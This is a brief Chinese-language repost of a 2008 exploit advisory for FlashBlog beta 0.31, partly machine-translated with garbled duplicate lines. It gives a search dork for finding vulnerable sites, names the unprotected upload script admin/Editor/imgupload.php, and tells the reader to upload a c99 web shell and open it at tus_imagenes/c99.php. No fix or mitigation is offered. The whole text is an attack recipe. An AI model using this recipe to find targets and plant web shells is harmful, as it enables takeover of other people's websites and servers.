Flashblog远程文件上传漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2008-06-05
Flashblog远程文件上传漏洞 来自 : < mefisto_at_hackermail.com > 
日期 : 2008年5月29日6时57分21秒-0000 
( ’二元’的编码是不支持,存储为-是) flashblog beta0.31远程文件上传漏洞 

# Author : MEFISTO ---- mefisto |at |hackermail |dot| com #作者: mefisto ---- mefisto |在| hackermail |点|的COM 



# Dork : flashblog.html 


# Website : www.dumenci.net 
#网址: www.dumenci.net 


http://[Site]/[script]/admin/Editor/imgupload.php ==>>> upload your c99 shell
(http:// [网站] / [脚本] /管理/编辑/ imgupload.php ==>>>上传您的c99 Shell) 


http://[Site]/[script]/tus_imagenes/c99.php ==>>> your address
(http:// [网站] / [脚本] / tus_imagenes/c99.php ==>>>您的地址)